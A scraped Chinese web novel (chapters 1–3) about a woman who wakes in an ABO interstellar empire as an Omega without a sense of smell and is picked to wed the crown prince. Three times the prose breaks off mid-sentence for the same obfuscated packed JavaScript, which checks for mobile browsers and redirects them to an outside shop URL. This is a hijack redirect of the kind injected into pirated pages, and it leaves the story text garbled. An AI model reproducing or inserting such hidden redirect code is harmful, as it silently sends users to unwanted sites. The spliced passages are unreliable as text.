《极致侵占》 1. 第 1 章 “宁宁,都怪姐姐不好,害你要替我相亲……” 现在是什么情况? 耳边传来一道微弱的哭腔,还没等她反应过来,就听见另一道明显属于中年男人的沉重叹气声。 桑宁叙有点懵地眨了眨双眼,在看清对面沙发上坐着的两张陌生面孔后,她不自觉地皱起一点眉头。 这是哪里,她刚才不是已经洗完澡上床睡觉了吗? “咳咳,宁叙。” 听见自己名字被点到的桑宁叙下意识朝出声那人看去,也许是她的目光太过坦然直白,那人倒是少见卡壳了一瞬,但早已在官场上混得如鱼得水的男人迅速就调整好表情,遮掩起了面容下的不自然。 “你也知道上个月你姐姐跟将军家的独子已经……反正你去也只是走个过场,肯定不会被选中的,就当爸爸拜托你了。” 体型健硕到像头熊的男人坐在客厅内白色的皮质沙发上,怎么看怎么违和。桑宁叙的目光不自觉地下滑至他的身下,那里被压出一个显而易见的深坑,她停留了几秒后很快移开视线,总觉得那可怜的沙发几乎快要承受不住男人的体重,摇摇欲坠很快就会散架。 “宁宁,反正上面只是要求每家至少出一位女子,你就帮帮姐姐吧,等你回来,姐姐一定带你去军事训练营参观好吗?你不是一直都嚷嚷着想看他们训练吗?” “是啊宁叙,到时候爸爸也请假回来好好陪你去玩,好不好?” 面前相似的两张脸都瞪着祈求可怜的目光望着她,桑宁叙被他们看得浑身不自在,只想快点逃离一个人呆着,于是便胡乱点了两下头答应了下来。 “呀,宁宁答应了!” 刚才还哭得梨花带雨的女子瞬间尖叫着扑向了她,被搂了个满怀的桑宁叙只好尴尬地坐在原地等待着拥抱结束。 “姐姐现在就去帮你挑裙子,你不是一直想要我那条浅蓝色的蛋糕裙吗,这次就让你穿……” 长相精致艳丽的女生擦干眼角的泪花,絮絮叨叨中赶忙往楼上走去。 和这位不熟悉的“父亲”大眼瞪小眼了几秒后,男人倒是率先坐不住起身,他有些别捏地走到桑宁叙面前,在女孩疑惑地视线中,僵硬地抬手摸了摸她的脑袋。 不过还没等她反应过来,这位像头黑熊一样壮实的粗犷男人居然比她先局促了起来,看着男人匆匆离去的背影,桑宁叙突然觉得莫名好笑。 这家人似乎……还挺有意思的。 在佣人指引下回到自己房间的桑宁叙终于放松地吐了一口气。 天晓得刚才她有多么紧张,才刚刚穿来就要接受原主家人的检视,她一句话都不敢多说,生怕无意暴露了自己是另一个灵魂的事实。 她可不想刚来就体验死亡。 不过奇怪的是,桑宁叙打量着镜子中跟自己原本面容近乎相似的脸,有些困惑的开始检查起身体。 在看见腰间熟悉的那一点红痣时,桑宁叙才敢堪堪确认这大概率是自己身体,但随即她就因为脖子后传来的瘙痒抬手抓了抓。 只是…… 她并没有摸到熟悉的皮肤,而是碰到了一片触感像创可贴那样的东西。 原主的脖子受伤了吗? 正想撕下贴纸一探究竟的桑宁叙却在看见一旁桌子上摆放的几本书后突然停止了动作,她愣了一会,似乎是在努力理解消化那些文字的含义。 《Omega生理知识百科大全》 《Omega呵护指南》 《只有Alpha知道的那些事》 半晌后,女孩不可思议地瞪大双眼,随后不可置信地一把撕掉了脖子上的贴片,紧贴着镜子努力观察自己的后颈。 “宁宁,你在干嘛?” 正当桑宁叙伸着食指颤巍巍地轻抚着后颈处那个她从未见过的器官时,一道清脆的女声打断了她的动作。 “姐……姐。” 看着自家傻妹妹手足无措地站在面前,还像小时候犯了错那样低着头不敢看她,桑灵叙把手中的东西放在床上后微微叹了口气。 她熟练地从抽屉里取出一片新的阻隔贴,不由分说地塞在女孩手里:“我知道你嫌这东西贴上不舒服,在家里就随你便吧。但是宁叙,外出还是要乖乖听话贴上阻隔贴,不然到时候被哪个不长眼的Alpha给吃干抹净可有你哭得!” 背后传来女生恨铁不成钢的唠叨声,但此时的桑宁叙却像是完全傻掉了一般呆站在原地毫无反应。 老天呐,所以她居然真的穿进了一个有腺体和信息素的世界? 最近两天,本该高兴不用参加相亲宴,秘密也不会暴露的桑家大小姐却频频发愁。 原因不外乎是自家的妹妹。 以前天天只想着怎么才能溜出去玩的桑宁叙这几天倒是像变了一个人,不仅每天把自己关在房间里如饥似渴地疯狂阅读,甚至前天居然还跑去她们父亲的书房找了不少新书,接着又继续闭关阅读。 过去让她看本书学会习跟要了她命似得女孩,现在却像是突然开了窍,不用人催居然就能安下心来在书桌前老实坐一天屁股都不带挪的。 对于妹妹的反常举动,桑灵叙最终也只得归结于,孩子长大成熟了,有想法了,知道用功了。 而这边正把自己锁在屋子里疯狂汲取知识的桑宁叙也是一个头两个大。 穿越前的她虽然听说过ABO设定,但是对网文向来不感兴趣的她并不是特别清楚这个世界人们的具体构造,但谁能想到,命运就是这么可笑,她居然就这么莫名其妙地真的穿进了这样一个世界! 啊,不对,纠正。 她现在所在的这个世界不知道为什么但的确没有Beta,人们的性别只分男女和AO,一共四种形态。 然而她之所以疯狂查资料的原因不过是…… 大概是由于穿越的原因,她原本身体的特性似乎也被一同带到了这具身体上。 嗯,她桑宁叙,貌似变成了这个世界里唯一一例,没有嗅觉的Omega。 至少,在她目前为止阅读过的所有书籍中,都没有出现过任何与之相似的案例。 出发去相亲的那天,被姐姐仔细打扮后的女孩如同一朵清冷但不失可爱的蓝雪花,她在屋外刺耳的喇叭声中匆忙和父亲与姐姐道别,在二人紧张地目光中,桑宁叙淡定地只身一人坐上了前来接她的…… 这辆全自动驾驶汽车。 本来还觉得新奇好玩的桑宁叙在发现车体内部结构跟以前的世界没什么太大区别后,很快就百无聊赖地欣赏起了窗外的风景。 毫无疑问,这里是一个文明相较于她的母星高度发达的星球,帝国更是自诞生以来就一直坚持执行中央集权制,在世世代代的发展中,普通群众早已习惯并认可这种统治方式。 反正对大部分人而言,只要日子过得安静舒服,又能有多少不满呢? 桑宁叙看着时不时在天空出现的形状各异的飞行器和空中巴士,在天空中留下一片又一片霓虹色的光轨,还有身边偶尔飞速驶过的磁浮列车,在一片机械科技的冰冷质感中,她才终于有些实感,自己确确实实来到了一个与众不同的高能量星际帝国。 到达目的地后,作为新晋少校的女儿,桑宁叙在恭维声中很快被人带着走到了大门入口,有条不紊的报名签到后,她接过侍从手上递来的一枚红色胸章,紧接着就被另一位一看就是皇宫内级别更高的、类似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817801|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于管家一样的人物引导着进入了正厅。 哇塞—— 还从来没有亲眼见过宫殿的桑宁叙一进门就被这金碧辉煌、璀璨耀眼的大厅差点闪瞎了眼,她礼貌谢过身旁这位有些上了年纪的老人,独自一人走到一旁不起眼的角落,开始默默打量起来。 头顶上是镶嵌着满是透明水晶与深紫色宝石的巨大吊灯,几乎是有半层楼那样高,高悬于顶部,在白色灯光中更是显得流光溢彩,美不胜收。 而且,很明显,这顶吊灯是整个室内的主要光源,只是…… 桑宁叙不由自主地后退了两步,离那盏豪华的不像话的灯稍微远了一点,她总感觉这东西要是一不小心掉下来,一定能至少砸死全场大半的人。 大厅的装潢也是极度气派,到处无一不彰显着奢华,从墙壁到地面再到楼梯,无处都折射着金光,仿佛这里的一切都是将纯金炼化后打造而成,豪气逼人,但同时独属于皇室的庄重与威严却丝毫没有减弱。 因为…… 桑宁叙看了看角落里无处不在的、如同雕像一般面色肃穆、站姿笔直、均带着头盔看不见面容的皇家禁卫军纹丝不动的守护包围着她们,她就不自觉地有点发怵,但是转念一想自己只不过是走个流程也待不了多久,她又逐渐放松了心情。 只是,这抹轻松自在在看到前后至少有十位神志不清的Omega被医疗队要么搀着扶着、要么直接躺在担架上抬出时,桑宁叙的内心再次不安了起来。 这这这,也没说相个亲会有生命安全的吧! 也许是事情发生的太过突然,剩余还留在大厅内等待的男男女女们都三三两两的抱团议论了起来。 虽然这里面桑宁叙一个人都不认识,但眼尖的她注意到前方不远处站着几个跟她看起来年纪差不多的女孩,窃窃私语地好像在讨论着什么。 人嘛,总是对八卦没有抵抗力。 身份有疑的桑宁叙不敢直接上前发问,于是她假装肚子饿借着去拿食物的过程,竖起耳朵仔细听起了她们的讨论。 “……怎么会……” “你一点都不知道吗,太子他……” “谁不知道到目前为止还没有一个人能接受……” “我倒是听说太子的味道特别……” 什么啊? 费劲吧啦踮着脚站了半天的桑宁叙一点也没听明白,她又坚持着听了一会,可惜那群人里似乎有人注意到她这个陌生人站在她们旁边的时间过长,相互提醒对视后,居然偷偷摸摸换了个地方,离她更远了一些。 好了,这下是彻底什么都听不见了。 那就算了吧,可能那些人只是见到帝国唯一的太子殿下太过兴奋,不小心昏死过去。 毕竟,在她的世界里,追星看演唱会途中被明星飞吻击中后晕倒的人也不在少数,这样想来,应该是没什么大不了。 自我洗脑成功后的桑宁叙将注意力彻底放到了面前漂亮可爱的小点心上,她准备趁着这会功夫先吃饱喝足,毕竟一会见到太子殿下,不论是喝茶还是吃饭,她肯定都一点胃口都没有。 当她咽下最后一口小甜品,差点被噎住正在四处找水的桑宁叙却忽然被人叫住了名字。 “桑小姐。” 她应声回头,发现正是刚才带她进门的那位老管家。 虽然头发胡子已经花白一片,但老人却依然精神抖擞目光炯炯,他身着黑色的燕尾服带着白色手套,优雅礼貌地对着桑宁叙做了一个“请”的手势。 在众目睽睽之中,刚才还堵在胸腔某处的食物残渣突然一股脑地落入胃中,桑宁叙顶着他人强烈的视线,不自觉地挺直了后背。 看来是轮到她了。 2. 第 2 章 对于这次相亲,桑少校和桑灵叙也只是跟她讲了个大概,毕竟他俩其实也不是特别清楚具体的细节,只说接到的通知是受帝后之命为已经成年的太子殿下选择适婚对象。 凡是皇室贵族和拥有校级军衔的官员,只要家里有未婚的成年女子,就必须至少选出一名参与。 桑宁叙的这具身体其实还差一个月才真正成年,但是年龄适合的桑灵叙却因为意外不小心被人完全标记,为此,父女二人不得不出此下策,让未成年的桑宁叙代替姐姐参加相亲。 虽然说是相亲,但总归是有些风言风语瞎传太子妃其实早已被内定,这次相亲不过是做做样子,安抚那些急着头想把自家女儿嫁入皇室的高官显贵们。而对这种事情向来一窍不通的桑少校在听说了八卦和谣言后,居然真的单纯地以为所有人不过都是来陪跑,所以他才能如此放心的让小女儿参加。 脑子里想着来之前家人的叮嘱,桑宁叙一边跟随老人的步伐朝更深处走去,一边在众人神色各异的视线中握紧了拳头。 她闻不到信息素的事情,应该不会暴露吧…… 桑宁叙并没有直接见到太子殿下,她被老人暂时安置在了一间装饰简单的会客室,叫她稍作片刻休息。 揉了揉自己被高跟鞋折磨到疼痛的后脚跟,终于看见软椅的女孩便毫不犹豫地一屁股坐在了椅子上,她有些不顾形象地瘫成一个“大”字,之后索性闭上眼睛放空了一会。 台词和自我介绍早已被她背得滚瓜烂熟,桑灵叙怕她出错,临走前甚至还反复抽查,无奈的桑宁叙为了让姐姐放心,只好乖乖背了一遍又一遍,分明比她大不了几岁的女生却像母亲一般左操心右操心,只恨不得自己拥有特异功能变成妹妹的耳环,陪她一起面见太子。 哦对,这姐妹俩的母亲在她们很小的时候就过世了,作为舰队工程师的父亲又长年不在家,虽然金钱上没有缺过姐妹俩,但可以说妹妹桑宁叙的确是被姐姐一手带大的。 还好原主有写日记的习惯,桑宁叙仔细认真地读完了小姑娘从小到大所有的日记后,突然庆幸刚穿来的那天没有拒绝桑灵叙的请求。 毕竟如果是原主的话,就算再调皮再不愿意,也一定不会把这位从小照顾自己,如母亲一般的长姐扔在一旁不管,弃之于不顾。 当会客室的门再度被敲响,已经休息完毕调整好状态,又恢复成优雅淑女的桑宁叙温柔出声:“请进。” “桑小姐,请随我来,太子殿下正在等您。” “是。” 看见来人熟悉面孔的桑宁叙有一秒钟的放松,很快她便打起精神,端起淑女该有的仪态和神情,不紧不慢地跟在管家身后随他继续前进。 不知道为什么,越往里走反倒是越暗。 厚重的金色地毯在墙壁处微弱的灯光下几乎看不清颜色和花纹,但踩在脚下却异常柔软平坦,她甚至觉得后脚跟都没有之前那么疼了。 周围异常安静,二人的脚步声早已被地毯吞噬,不知道这里的墙壁是不是用了什么特殊的材料,大厅里熙熙攘攘宾客间的嘈杂对话声在这里丝毫听不见,而外面的明亮和璀璨也跟这里的昏暗与低调形成了鲜明的对比。 要不是看前方的老人一直目不斜视地稳步向前走着,桑宁叙都有点想停下来掉头回去。 然而,现实当然也不允许她这么做。 终于,穿着燕尾服的管家停在了一扇纯黑色的金属门前,他节奏平稳地敲了两下,似乎是在提醒里面的人有客人即将到访,之后他却并没有立即开门让桑宁叙进入,而是对着女孩说了一句没头没尾的话:“如果一旦觉得有任何不舒服,请不要犹豫,立刻出来,请您绝对不要逞能。” 在老人凝重的目光下,一知半解的桑宁叙只好装作听懂了的模样乖乖点了点头。 在得到女孩的确认后,他才重新转过头缓缓拧动了把手,此时的大门已经对她完全敞开,在管家恭敬地眼神中,桑宁叙好奇地抬脚走入了门中,随即,啪的一声,大门就被外面的人关了起来。 走廊里已经够暗的,没想到这房间倒是更黑,桑宁叙站在门口停了一会,等眼睛适应黑暗之后,她才犹豫着自己应该往哪里走。 不是,太子殿下的相亲怎么跟她的想象如此大相径庭呢? 她还以为是两个人坐在宽敞明亮又舒服的房间内喝喝茶唠唠嗑,看看对方合不合自己的性格,怎么现在搞得,像是要探索鬼屋一样。 眯着眼睛仔细扫视了周围一圈的桑宁叙愣是没看见太子殿下的人影,她心下奇怪正想往里面再走走,却被男人突如其来的发问吓了一跳。 “你不难受吗?” 男人的嗓音如世间最锋利的冰刃那般冷酷无情,不带丝毫温度与感情,仿佛下一秒就能冻死人。 桑宁叙不太明白他为什么这么问,但想来人家是高高在上的皇太子,可能只是单纯绅士风度关心女性吧。 “我不难受,谢谢您的关心。” 女孩软糯的嗓音中夹杂着清醒与冷静,听见她回答后的男人有一瞬间的沉默,他一边继续释放更多的信息素,一边起身推开了门,在黑暗中一点一点踱步靠近这名女子。 随着他的动作,桑宁叙也意识到原来左手处的尽头并不如她所想是一整面墙壁,正中心的位置倒是还隐藏了一扇门。 不知道皇室这帮人在搞什么…… 站在原地等了一会,桑宁叙突然发现太子殿下似乎像是在忌惮什么的模样,十分缓慢地移动着。 难道这个太子其实是个有腿疾的残疾人吗,所以相个亲还要这么藏着掖着不让人女孩子看见? “你叫什么名字?” 正当桑宁叙睁着一双大眼睛在心里叽里呱啦的暗自吐槽时,男人凌冽如同冰霜一般的声音再度袭来。 “桑……灵叙。” 随着她的话音落下,刚才还距她有几米之远的男人忽然眨眼之间就出现在了她的面前,顿时吓了女孩一跳。 从黑暗中勉强看去,男人非常高,自己似乎只到他的胸膛那里,尽管看不清他的面容且轮廓模糊,但桑宁叙还是借着微弱的暗光勾勒出了男人的身形。 宽肩窄腰,大长腿,标准的男模身材。 大臂和肩膀处明显的肌肉线条正随着男人的呼吸一起一伏。 趁女孩盯着自己发呆的功夫,男人继续试探着靠近,同时释放出更多的信息素。 脖颈后的腺体微微发热,愣神间的桑宁叙下意识就伸手摸了上去。 咦,她今天走之前明明戴好了阻隔贴,按理来说应该不会产生任何感觉的啊…… 疑惑中认真思考的女孩并没有意识到自己的动作已经完全落入了对方敏锐的视线中,男人不动神色地加大了信息素的释放,似乎是在考验她到底能忍受到哪种程度。 腺体还在持续发热,甚至还逐渐产生了痒意,就在桑宁叙思考着自己是不是应该按照那位管家所说,一旦感到不舒服就快点离开时,只不过在她采取行动前,腺体却在霎那间恢复了正常。 嗯,怎么又好了? 正当桑宁叙二丈摸不着头脑时,刚才仅仅靠近了一会的太子殿下已经不声不响地跟她拉开了距离,此时正站在几米开外的地方,语气淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817802|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡地吐出几个字:“你可以走了。” 这就结束啦? 听见吩咐后,桑宁叙虽然心中有一万个为什么划过,但想到自己的身份,她也一句都不敢多问。 她没再继续逗留,临走前像是突然想起了什么的女孩赶忙做了一个标准的屈膝礼,紧接着就立刻转身离开了房间。 等桑宁叙像个没事人一样清醒又正常的走了出来后,一直保持着精神高度集中紧张、随时准备呼叫医生的管家倒是不淡定了起来。 老人居然头一次生出了对自己的质疑,这位小姐,是进去呆了快15分钟后还能完好无损出来的Omega吗? 他是不是算错时间了? 还是太子殿下这次压根连信息素都懒得释放了? 刚一出门就和管家打了个照面的桑宁叙挤出一抹尴尬的微笑,老人似乎是看见了什么不可置信的一幕,竟然半晌都没有反应,于是这两个人你看我我看你,异常同步的在门口傻站了一会。 “福总管。” 听见召唤的福总管终于从梦中清醒,经验丰富的老人迅速恢复到平常干练精明的模样,他让桑宁叙在门口稍等片刻,之后立即走进了房间。 刚才内心的疑惑在他两只脚踏入房间关上门后,全部被解答。房间内充斥着剧烈刺鼻到甚至能够穿透鼻粘膜的酸味,福总管只觉得自己甚至已经无法正常呼吸,泪水控制不住地大滴大滴落下,喉咙则像是被剧烈灼烧后阵阵疼痛着。身为普通Alpha的他还是无法接受帝国最顶级Alpha的高等信息素,哪怕只是若有若无的一丝味道,都能让大多数Alpha直接跪倒在地,俯首称臣。 更别提现在这种,浓度高到极致,几乎已经被完全释放的信息素了。 刚才那个看起来并没有任何特点的Omega,究竟是如何能承受得住这般霸道强悍到恐怖刺激的信息素的? 更别说现在房间里的味道…… 因为努力憋气而难受到满脸通红的老人正大力颤抖地趴在地上等待着男人的吩咐。 “就她了。” 男人的声线再次恢复到平时那般冷漠无情,他似乎是知道自己信息素的过于尖锐刺激,再吩咐了几句后,很快就让人离开了房间。 正双手背后靠在墙上东张西望的桑宁叙只觉得眼前这扇才关上不到一分钟的门怎么又忽然打开,她抬头望去,却被满头大汗已经浑身湿透的老人吓了一跳。 这这这是,什么情况啊! “您不要紧吧?”她连忙上前询问。 老人不在意地摆了摆手,虚弱地朝她一笑,哑着嗓子艰难地说着:“不碍事,请您顺着走廊一直向前走,会有人带您出去的。抱歉,在您面前失态了。” “没事没事,您也小心一些。” 桑宁叙按照老人所指的方向走了两步后,她还是没忍住忧心忡忡地回头看了一眼,之前一直雍容沉稳的老管家此时终于像一个真正的老人一样,托着疲惫的身体和虚浮的脚步,扶着墙壁跌跌撞撞地向前走去,很快便被及时赶到的其他仆从接应了下来。 在确认老人有人帮助应该问题不大之后,桑宁叙才终于肯放心的离开。 只不过…… 当她坐上已经提前等候在门口的车子时,似乎看见大批穿着精致华贵礼服的少男少女们竟然都一股脑地同时离开了宫殿。 桑宁叙正想趴到窗户上再仔细看看究竟发生了什么时,可惜发动好的车子已然带着她头也不回的离去。 应该,和她没什么关系吧…… 彻底离开前,桑宁叙有些心神不定地想到。 3. 第 3 章 两个月后的某一天,帝国王室发布公告宣布太子殿下将于一周内完婚。 消息一出瞬间引爆网络,众人纷纷猜测着这个幸运的Omega是男是女,毕竟,谁不知道当今帝后就只有这么一个独子,将来那必然是要继承王位,而被选中的太子妃,理所当然也会成为未来的王后殿下。 除此之外,虽然太子殿下很少公开露面,但光凭几张模糊的侧脸与背影图,就迅速俘获了一众迷弟迷妹。作为帝国极少数的顶级Alpha,其本人也拥有强悍的军事实力,在打击虫族的过程中屡屡战胜,因此,男人不仅受Omega青睐,还有不少Alpha也将他视做偶像。 所以,大家普遍默认,能被他选中的Omega,一定也不是一般人。 就在星际网站的讨论帖一天比一天激烈时,他们口中的准太子妃正坐在家里愁眉苦脸。 那天见过太子殿下后不出三天,王室竟然就派人冲到了她家,在全家人惊恐的视线中,桑少校还以为是自己工作失误或者在官场上一不留神惹怒了什么大人物,现在要被削官剥爵,就在男人惴惴不安想方设法怎么保护好两个女儿时,却没想到居然收到了来自陛下亲手写下的婚书。 很明显,王室内部已经把他们桑家调查的干干净净,要不然,为什么婚书上的名字是她桑宁叙,而不是桑灵叙呢! 总之,在所有人目瞪口呆之际,桑宁叙倒是最先反应过来的,虽然不知道自己是怎么入了那奇怪太子的眼,但事到如今,她也没有资格和能力拒绝。 于是,桑宁叙表面镇定坦然地接下婚约,之后装模作样地谢过这位一看就是皇帝身边的宫廷长,在那人满意的目光中,定下了即将为婚礼做准备的种种日期。 待这帮人像阵风一样又呼啦啦地离去后,尚处于巨大震惊中的桑少校和桑灵叙还张着嘴巴回不过神来。 “唉……” 坐在床上心绪复杂乱翻着帖子的桑宁叙不禁幽幽叹了口气。 后天就是她跟太子殿下的婚礼了,除了之前因为婚服的事情二人简单见了一面之后,便再也没有了联系。 王后似乎是怕她多心乱想,便特意派人给她透露了些关于太子穆沉凛最近的消息。 五十年前,不知哪颗星球发生了异变,出现了一群长相恶心浑身都是粘液且拥有长须触角的巨大虫类,起初接到前线探查消息的帝国并没有把这群没有思想的怪物放在心上。但是不知怎么回事,最近几年,这群东西竟然以成倍的速度不断快速进化繁衍,他们原来的巢穴似乎并不能再装得下如此密集的后代,于是这群虫子便开始在星际间不断探索扫荡,试图寻找并占领更合适的栖息地。 而他们现在所属的星球,很快就被这帮恶劣的东西发现,随之而来的就是永不停歇地一次又一次进攻。 好消息是,在帝国军队高度配备的飞船和星舰的反攻下,虫子们很快就不堪一击四散逃离,然而还没等人们高兴多久,这帮家伙又倾巢而来,似乎是被傲慢的帝国士兵所激怒,势必要占领这颗星球。 在连续不断的战争中,帝国研究人员也意外发现Alpha的信息素对这类虫族有明显的攻击干扰效果,所以到目前为止,帝国也在不断呼吁高等信息素的Alpha参军,以求能尽快攻破虫族的进犯。 因此,作为顶级Alpha的穆沉凛便从出生后就开始接受特殊训练,成年后也立即被派往军队和前线作战。 总之,她的这位未婚夫,现在就是忙着不断和虫子打怪升级,暂时没时间理她这个未婚妻。 见不到穆沉凛对她来说倒是无所谓,只是,桑宁叙有些烦躁地拽了拽发尾,她本来还想老老实实在这个世界过完普通的一生,没想到现在可好,直接给她整了票大的…… “宁宁,有空和姐姐聊聊吗?” 站在门口的桑灵叙手里端着一杯温热的牛奶,轻轻敲了敲半掩的门。 “当然。” 桑宁叙连忙收拾好情绪,虽然自己内心一片杂乱,但她也不想让这位自打知道了消息后,天天紧锁着眉头后悔自责的姐姐再难过。 “过两天我们宁宁就要出嫁了……” 才刚坐下来握住妹妹手的女子没说两句就忍不住红了眼眶,泪水分明已经在她眼里不停地打转:“都怪姐姐不好,要是当时没有让宁宁去……” “姐姐,这怎么能怪你。”桑宁叙连忙打断女子,“就算这次是姐姐去了,说不定到时候我还是会被他们找到,然后被迫嫁给太子,这都是我的命,姐姐就不要再责怪自己了。” 天知道她这段时间以来已经不知道第多少次劝慰这位姐姐了,奈何这女子真真就像是水做的人儿,有时候她都好奇这姑娘怎么能有这么多的泪,似乎是流也流不干。 “我知道,姐姐这不是怕宁宁嫁过去受欺负。”桑灵叙勉强止住泪水,她红着眼睛伤心又难过地摸了摸妹妹天真的脸蛋,不由地愈发难受了。 这孩子还这么小,她们也没有厉害的家族背景托底,到时候嫁过去要是真的受了欺辱,又如何能与皇室太子对抗呢? “姐姐,我知道你担心我,但是放心吧,太子殿下是个好相处的人,我也会照顾好自己的。” 向来笨嘴笨舌不怎么会安慰人的桑宁叙只得绞尽脑汁一遍又一遍不停地向女子做着保证。 等到她终于安抚好桑灵叙,精疲力尽的桑宁叙把人送走后立即锁门瘫回了床上。 比起安慰一个愁绪忧思,泪点极低的柔弱女子,她反倒觉得结婚这件事,不是那么可怕了…… 两天过得飞快。 婚礼当日,半梦半醒的桑宁叙凌晨就被宫里提前赶来的侍女们从床上捞了起来,完全没有睡醒的她被众人推搡着按在化妆镜前开始梳妆打扮,期间仍在昏睡的桑宁叙倒是什么都不知道,任由那帮手脚麻利的女人们在自己脸上描描画画。 最后等她终于清醒,已经梳妆完毕的女孩连镜子都没来得及看一眼,就在催促声中再次与泪眼汪汪的姐姐和父亲简短告别,踏上了属于她的未知命运。 女孩身穿款式复杂繁琐拖地的洁白婚纱长裙,裙摆上尽是银色的精致刺绣与层层叠叠的奶白色珍珠,她头顶沉重钻石王冠,脚踩亮银色高跟鞋,在前来参加婚礼的王公贵族的注视下,缓缓打开车门,被早已等在皇宫门口的穆沉凛牵起了手。 男人穿着一身象征帝国军队最高领导层的军服,胸前挂满了各种勋章,那是代表他与帝国王室的至高荣耀,沉默中的他更显冰冷与肃杀,可与他外表不符的是,男人的手掌宽大温热,指腹上还能摸到明显的老茧。不知道为什么,从坐上车开始心脏就狂跳个不停的桑宁叙在他的带领下一步步向前走去时,却突然冷静了下来。 他身上的从容不破和强大自信似乎也在不知不觉间影响到了她,轻而易举地安抚了她内心的的忐忑和恐惧。 整个婚礼都举行的非常顺畅,参见完皇帝与王后之后,站在宫殿阶梯外的二人接受了不到三分钟媒体和贵族的检阅,便派人宣布婚礼结束。 随后,疲惫不堪的桑宁叙很快就在侍女的带领下前往太子殿下的寝宫,而穆沉凛则是连衣服都来不及换,就已经坐上飞行器再次赶赴军队。 临走之前,沉默的男人倒是突然转头,干净利落的吻在了桑宁叙的额头,是一个不带任何欲念的吻,下意识闭上眼睛的女孩后知后觉的反应过来,这是特地要表演给媒体和人民,证明太子夫妇的恩爱证据。 于是,桑宁叙的丧偶式婚姻就这样拉开了帷幕。 已经娶妻的太子便再也没有必要继续住在宫内,桑宁叙很快被人打包送去了属于他们夫妇的、距离皇宫不远处的一座宅邸。 终于不必日夜忧心着突然被皇帝王后传唤的桑宁叙可是自在欢乐极了,宅邸舒适干净又宽敞明亮,智能机器人会按时按点帮她做饭做家务,她这个太子妃什么都不用考虑,每天只要快乐的吃、喝、睡就可以了。 而且更重要的是,她那位牛逼哄哄的太子老公,据说因为最近虫族大批进犯而一直待在前线指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817803|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥战役,压根没空回家,更别说联系她了。 穿越前刚大学毕业当了快一年牛马的桑宁叙悠哉悠哉地享受着如今美好的生活。 不用加班,不用挨领导骂,不用看同事眼色,还不用担心钱! 这样的日子,不就是她一直梦寐以求的嘛! 之后近大半年的时间,桑宁叙都过着这样醉生梦死的美妙人生,无聊的时候,她还特意把姐姐桑灵叙接来跟自己同住。 一直担心着妹妹婚后生活的桑灵叙在看见妹妹那已然圆润了一圈的小脸后,也不得不承认,这个婚结得,似乎没有她想得那么糟糕。 只不过,没住几天的桑灵叙发现妹妹和妹夫平常竟然连通电话都没有,她这位长姐便又操心起来她的婚姻生活。 什么要温柔心细,要善解人意,什么要会做饭,要做好一个妻子应尽的义务,这样才能维持婚姻幸福,等等…… 最后,被姐姐天天念叨着该如何拿捏住男人心的桑宁叙被吵得头疼,她不得不找借口把人再次送了回去。 等家里又只剩她一人时,看着空荡荡的安静房间,她只觉得平静又舒畅。 “零三七,我想吃芝士蛋糕。” 某天清早,刚在家打完一套八段锦的桑宁叙从阳台探出头,对着正在忙忙碌碌帮她收拾床铺的机器人说道。 “好的,主人,零三七将在午饭后为主人准备芝士蛋糕。” 有些卡通可爱的声音从冷冰冰的银白色机器人身体中发出,桑宁叙却不满地纠正它:“不要等午饭后,我现在就要吃。” “根据饮食记录,您已连续三天将一整块芝士蛋糕作为早餐,从营养学和饮食健康的角度来看,我不建议您继续享用芝士蛋糕为早餐,相反,我建议您选择酸奶配坚果和浆果,蔬菜沙拉,或者全麦面包配牛油果鸡蛋来代替。” 哈,无语。 翻了个大白眼的桑宁叙开始了和智能机器人拌嘴的日常,这位虽然信息库充足但明显智商不高、不懂得转弯的小机器人,但凡主人的要求违背于它的程序,便会一遍又一遍不厌其烦地重复着自己认为“正确”的答案,试图劝导主人改邪归正。 而长期待在家里没人说话的桑宁叙在发现机器人的这个功能后,无聊中便开始故意制造矛盾,进而一直反驳她家的小机器人,直到她觉得吵得差不多有些口干舌燥了,便立即同意机器人的建议,然后利索地把人赶走。 虽然当米虫是一件非常快乐的事情,但是时间长了,不再用脑思考的桑宁叙也逐渐担心起自己日后傻掉或者丧失语言功能的风险,于是便想法设法的开始给自己没事找事,毕竟生活嘛,不就是个体验。 大概是老天看她的日子过得过于舒坦,于是,在跟丈夫失去了七个多月联系的桑宁叙在某个温暖的午后,迎来了一位不速之客。 正躺在沙发上晒着太阳沉睡的女孩忽然被一阵急促的门铃声吓醒,就在她迷茫地睁开双眼捞起刚刚掉下沙发的毯子后,零三七也帮她打开了大门。 “太子妃,冒犯了。” 